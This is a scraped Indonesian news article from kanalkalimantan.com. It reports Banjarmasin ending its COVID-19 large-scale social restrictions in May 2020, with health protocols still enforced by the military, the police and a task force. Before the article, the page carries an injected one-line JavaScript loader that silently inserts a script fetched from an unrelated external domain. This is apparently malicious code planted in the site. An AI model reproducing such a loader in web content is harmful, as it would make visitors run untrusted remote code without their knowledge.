(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah menggelar Pembatasan Sosial Bersakala Besar (PSBB) sebanyak tiga kali, sejak 24 April hingga 31 Mei 2020, akhirnya Pemko Banjarmasin memutuskan tidak memperpanjangnya lagi. Pembatasan itu berakhir Minggu (3/05/2020).
Wali Kota Banjarmasin, H Ibnu Sina menyampaikan keputusan tersebut secara resmi disepakati dalam rapat evaluasi pelaksanaan PSBB Tahap III bersama Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin yang dilaksanakan di Rumah Dinas Wali Kota Banjarmasin, Jalan Dharma Praja Banjarmasin.
Meski berakhir, orang nomor satu di Kota Banjarmasin itu mengatakan, Pemko akan tetap mengikuti arahan sesuai dengan keputusan Badan Nasional Penanggulanagan Bencana (BNPB) Pusat terkait masa tanggap darurat bencana alam atau kesehatan nasional.
“Walaupun tanpa PSBB, kita tetap harus menjalakan protokol kesehatan yang berlaku sebagai upaya pencegahan penularan Covid-19,” katanya kepada awak media usai melakukan rapat evaluasi PSBB Tahap III, Minggu (31/5/2020) petang.
Ia menambahkan, penerapan protokol kesehatan tidak hanya dilakukan dalam lingkup kerja Pemerintah Kota, namun juga harus dilakukan oleh masyarakat dalam kehidupan kesehariannya. Tidak lupa juga harus menjaga jarak aman atau physical distancing.
Selain itu, tempat umum seperti pasar serta sarana publik lainnya wajib menjalankan protokol kesehatan. Ia menegaskan, upaya dilakukan guna mencegah agar tidak tertular wabah yang belum ditemukan vaksinnya.
Senada, Dandim 1007 Banjarmasin, Kolonel Inf Anggara Sitompul menambahkan, tidak diperpanjangnya PSBB bukan berarti masyarakat bebas berkegiatan seperti belum mewabahnya pandemi Covid-19.
“Akan tetapi kita kembali ke situasi tanggap darurat Covid-19, yakni TNI-Polri akan bekerjasama dengan gugus tugas dalam pengawasan penerapan protokol kesehatan,” tegas dia.
Dalam melancarkan penerapannya, pihaknya sudah melakukan koordinasi dengan pertemuan tatap muka kepada para pelaku usaha. Nantinya, lanjut Kolonel Anggara, di setiap pasar, mall, restoran, dan tempat rekreasi akan dijaga ketat, mulai dari jam buka hingga tutup, prajurit akan selalu berjaga untuk menegakkan kedisiplinan dalam mematuhi protokol kesehatan.
Terkait tempat ibadah, lanjut dia, sudah dikoordinasikan kepada MUI. Dalam minggu-minggu ini akan dibuat masjid percontohan di beberapa masjid tertentu, sehingga ibadah tersebut bisa dilaksanakan dan mengurangi risiko penularan Covid-19.
“Ini adalah upaya kita untuk barang kali melonggarkan situasi, akan tetapi pada prinsipnya harus tetap menaati protokol Kesehatan,” pungkas dia. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.